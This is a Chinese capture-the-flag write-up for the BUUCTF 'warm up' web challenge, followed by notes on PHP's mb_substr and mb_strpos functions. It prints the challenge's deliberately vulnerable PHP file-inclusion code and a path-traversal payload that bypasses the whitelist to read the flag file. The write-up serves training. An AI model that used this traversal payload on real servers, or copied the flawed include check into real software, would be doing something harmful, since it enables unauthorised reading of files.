buuctfweb刷题wp详解及知识整理----warm up(文件包含加php代码审计)

buuweb—warm up的wp

wp!

上来一个超级滑稽脸(冥冥中仿佛滑稽看透了险恶的ctf世界的真相)。。
F12或者开发者工具看源码
在这里插入图片描述
注释中有提示那就访问一下
源码得到


    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

发现include()应该是文件包含
同时还发现白名单
在这里插入图片描述
不妨访问一下hint.php
buuctfweb刷题wp详解及知识整理----warm up(文件包含加php代码审计)_第1张图片
很明显我们需要包含文件ffffllllaaaagggg这一文件

审计php源代码可知只要file这个文件在它的?号前面的符合白名单即可
从而
buuctfweb刷题wp详解及知识整理----warm up(文件包含加php代码审计)_第2张图片
构造出payload

?file=source.php?/../../../../ffffllllaaaagggg

即可得到flag
这里用到了../../../..这种目录穿越从而利用目录遍历的手法

学到的东西

php的函数

参考菜鸟教程
mb_substr() 函数返回字符串的一部分
四个参数
str 必需。从该 string 中提取子字符串。
start 必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾的指定位置开始
0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回
encoding 可选。字符编码。如果省略,则使用内部字符编码。

mb_strpos()反回字符或字符串在另一字符串的所在位置
int mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )
四个参数
haystack
The string being checked.
要被检查的 string。
needle
The string to find in haystack. In contrast with strpos(), numeric values are not applied as the ordinal value of a character.
在 haystack 中查找这个字符串。 和 strpos() 不同的是,数字的值不会被当做字符的顺序值。
offset(可选)
The search offset. If it is not specified, 0 is used. A negative offset counts from the end of the string.
搜索位置的偏移。如果没有提供该参数,将会使用 0。负数的 offset 会从字符串尾部开始统计。
encoding(可选)
The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.
encoding 参数为字符编码。如果省略,则使用内部字符编码。
Return Values
Returns the numeric position of the first occurrence of needle in the haystack string. If needle is not found, it returns FALSE.
返回 string 的 haystack 中 needle 首次出现位置的数值。 如果没有找到 needle,它将返回 FALSE。

你可能感兴趣的:(buuctfweb刷题wp详解及知识整理----warm up(文件包含加php代码审计))